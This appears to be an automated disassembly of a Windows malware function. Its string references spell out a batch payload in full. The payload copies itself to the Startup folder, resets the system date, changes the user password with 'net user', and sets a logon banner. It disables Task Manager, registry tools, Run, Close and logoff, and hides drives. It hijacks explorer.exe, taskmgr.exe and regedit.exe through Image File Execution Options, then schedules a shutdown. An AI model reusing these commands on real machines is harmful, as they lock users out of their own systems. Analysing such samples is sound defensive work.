Function at 0x140001cb0
Capabilities:
References logon banner

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140039060]
xor rax, rsp
mov qword [rbp + 0x80], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call fcn.1400084f0
lea rcx, [rsp + 0x70]
call fcn.140003530
nop
lea rdx, str._echo_off
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.date_1980_1_1__nul_2_1
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.copy___0___userprofile_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup___nul_2_1
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.net_user__username__1145141919810114514__nul_2_1
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_LegalNoticeCaption__t_REG_SZ__d__
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_LegalNoticeText__t_REG_SZ__d_https:__space.bilibili.com_2091414299__f__nul_2_1
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies_system___v_DisableTaskMgr__t_reg_dword__d_1__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKEY_CURRENT_USER_softwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoClose__t_REG_DWORD__d_1__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_StartMenuLogOff__t_REG_DWORD__d_1__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_nodrives__t_REG_DWORD__d_60__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoRun__t_REG_DWORD__d_0__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Optionsgpedit.msc___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Optionsexplorer.exe___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Options_taskmgr.exe___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Options_regedit.exe___v_Debugger__t_REG_SZ__d_taskmgr.exe__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rdx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisaBleRegistryTools__t_reg_dword__d_1__f
lea rcx, [rsp + 0x70]
call fcn.140004280
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004100
movzx edx, al
mov rcx, rbx
call fcn.140004cf0
mov rcx, rbx
call fcn.140004be0
lea rcx, [rsp + 0x78]
call fcn.140003dc0
test rax, rax
jne 0x1400020b3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x48], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
and eax, dword [rbp + rcx - 0x7c]
jne 0x140002164
lea rcx, str.start_C:UsersAdministratorAppDataLocalTemp1.bat
call fcn.14000c7a8
lea rcx, str.attrib_h_C:UsersAdministratorAppDataLocalTemp1.bat
call fcn.14000c7a8
lea rcx, str.shutdown__s__t_60
call fcn.14000c7a8
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140003270
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x18]
call fcn.140005648
nop
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140005f30
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rbp
ret
test al, 4
je 0x140002171
lea rdx, str.ios_base::badbit_set
jmp 0x140002185
test dl, al
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400012e0
mov r8, rax
lea rcx, [rsp + 0x40]
call fcn.140001b50
lea rdx, [0x1400376d8]
lea rcx, [rsp + 0x40]
call fcn.140007ccc
int3